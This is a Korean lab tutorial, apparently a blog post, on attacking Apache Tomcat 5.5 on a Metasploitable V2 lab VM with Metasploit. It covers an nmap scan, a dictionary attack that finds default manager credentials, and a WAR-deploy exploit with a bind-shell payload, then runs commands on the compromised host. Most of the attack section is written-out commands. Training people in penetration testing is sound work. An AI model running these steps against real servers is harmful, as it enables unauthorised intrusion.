[실습] 메타스플로잇을 사용하여 서비스 취약점 점검(톰캣(Tomcat) 취약점 공격)
■ 사용시스템
- KaliLinux
- Metasploitable V2 Linux
메타스플로잇을 사용하여 톰캣의 취약점을 공격해 보자.
Tomcat V5 관리자 페이지에서 기본으로 사용되는 몇가지 취약한 계정의 정보를 대입해 알아보는 tomcat_mgr_login 스캔 도구를 사용한다.
(KaliLinux)
① 타겟 시스템의 포트/서비스/버전을 확인
# nmap -sV -p 1-65535 192.168.10.134 metasploitable V2 Linux ip : 192.168.10.134
포트 지정시 시간이 오래걸린다. nmap -sV 192.168.10.134
....
....
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
....
....
아파치 톰캣 설치 되어 있는것을 확인
② 기본 홈페이지(tomcat)에 접근
# firefox http://192.168.10.134:8180/ &
-> Apache Tomcat/5.5 버전이 설치 되어 있다.(기본 페이지의 왼쪽 상단 부분에 대한 정보 확인)
가장 버그가 많았던 버전.
-> 만약 기본 설정만 되어 있다면 관리자 페이지에 접근이 가능하다.
사이트 관리가 안되고 있다.(디폴트 페이지가 보임)
# firefox http://192.168.10.134:8180/manager/html &
-> 관리자 페이지의 아이디/패스워드 물어 보는 화면이 나올것이다.
-> 확인만 하고 접속을 해제 한다.
③ Tomcat 홈페이지의 관리자 페이지를 가지고 Dictionary Attack 수행
관리자 페이지 아이디/패스워드 크랙 수행(Dictionary Attack)
# msfconsole
[참고] 에러 발생 시
# msfconsole [-] Failed to connect to the database: could not connect to server: Connection refused Is the server running on host "localhost" (::1) and accepting TCP/IP connections on port 5432? could not connect to server: Connection refused Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432? msf > quit # service postgresql start # msfconsole |
msf > search tomcat
................
info auxiliary/scanner/http/tomcat_mgr_login -> 프로그램의 설명 참조
msf > use auxiliary/scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > show options
기본 USERNAME / USERPASS_FILE 이 지정 되어 있다.
msf auxiliary(tomcat_mgr_login) > set rhosts 192.168.10.134
msf auxiliary(tomcat_mgr_login) > set rport 8180
msf auxiliary(tomcat_mgr_login) > run
와이어샤크 확인 (filter : http)
# wireshark & (eth0 )
3-way 핸드 쉐이크 TCP 패킷 확인
syn
syn ack
ack
④ 관리자 페이지로 접속
# firefox http://192.168.10.134:8180/manager/html
-> 아이디 : tomcat
-> 패스워드 : tomcat
-> 접속후 하단에 war 파일을 업로드 할 수 있는 기능을 확인
--------------------------------------------------------------------------------
......
---------------------------------------------------------
WAR file to deploy
---------------------------------------------------------
Select WAR file to upload [Browser] No file selected.
[Deploy]
--------------------------------------------------------------------------------
-> Tomcat를 기본 설치를 하면 '파일 업로드 취약점'이 생긴다.
-> 이 취약점을 통해 악성코드가 포함된 war 파일을 이용해 시스템에 침투할 수 있다.
⑥ 메타스플로잇의 자동 악성 코드 업로드 공격 사용
# msfconsole -q
msf > search tomcat
msf auxiliary(tomcat_mgr_login) > use exploit/multi/http/tomcat_mgr_deploy
sf exploit(tomcat_mgr_deploy) > show options
msf exploit(tomcat_mgr_deploy) > set password tomcat
msf exploit(tomcat_mgr_deploy) > set rhost 192.168.10.134
msf exploit(tomcat_mgr_deploy) > set rport 8180
msf exploit(tomcat_mgr_deploy) > set username tomcat
msf exploit(tomcat_mgr_deploy) > show payloads
*************************************************************************************************************
업로드 후 url 확인 및 재요청
[참고] bind_tcp, reverse_tcp
bind_tcp tcp커넥션을 이루는 동작
reverse_tcp
bind_tcp <- 피해자가 공인 IP를 가지고 있을 때 악성 프로그램이 데몬처럼 기동이 된다.
victim(웹) |
타겟이 공인 IP를 가지고 있다. (서버 형태) |
attacker |
사설,공인 IP 상관없음 |
reverce_tcp <- 공격자 pc에 미리 데몬을 기동시켜 놓는다. 피해자 pc에 공격자의 IP와 포트번호를 미리 입력
victim(PC) | 타겟이 사설IP를 가지고 있다. (개인pc) |
attacker | 사설IP에는 데몬처럼 붙을 수 없다. 데몬을 리슨상태로 기동시켜놓는다. |
*************************************************************************************************************
payloads 쉘사용
쉘 방식 / meterpreter 방식
상대 운영체제에 맞는 방식 사용
meterpreter에서 제공되고 있는 명령어를 수행
192.168.10.134가 서버라고 가정하고 bind_tcp 방식으로 수행(웹 서버)
msf exploit(tomcat_mgr_deploy) > set payload java/shell/bind_tcp
msf exploit(tomcat_mgr_deploy) > show options
msf exploit(tomcat_mgr_deploy) > exploit
-> 따라서, 오픈소스 WAS로 운영중인 시스템은 정기적으로 공개되는 취약점에 대한 관심을 가져야 한다.
-> 여러가지 CMD를 수행해 본다.
웹 사용자는 루트 사용자 권한까지 사용할 수 없다.
웹 사이트 제어
# find / -user tomcat55 2>/dev/null | egrep -v /proc
웹 소스코드와 설정할 수 있다.
echo '#include<stdio.h>; main() { printf("hello"); }' > test.c
리눅스 버전에 따라 include가 내장되어 있다.
which gcc /usr/bin/gcc cd /tmp echo '#include<stdio.h>' > test.c echo 'main() { printf("hello\n"); } ' >> test.c gcc -o test test.c ./test hello |
파일 생성 방법
cat << EOF >> test.c
main () {
printf("hello")
}
EOF
(정리) 모의 해킹 테스트 절차에 대해서
타겟 시스템을 선정한다.
정보를 모은다.
취약점이 있는지 확인한다.
공격의 여지가 있는지 봐서 필요하다면 공격한다.
공격 성공이 되었다면 문서화 한다.
'Learning > └◆Metasploit' 카테고리의 다른 글
metasploit 10. 윈도우 2008 로그 삭제 (0) | 2017.01.05 |
---|---|
metasploit 09. meterpreter를 이용한 윈도우즈 시스템 장악 (0) | 2017.01.05 |
metasploit 07. HTTrack 툴 사용 (0) | 2017.01.05 |
metasploit 06. PostgreSQL Bruteforce, Obtain and Crack Root SSH key (0) | 2017.01.04 |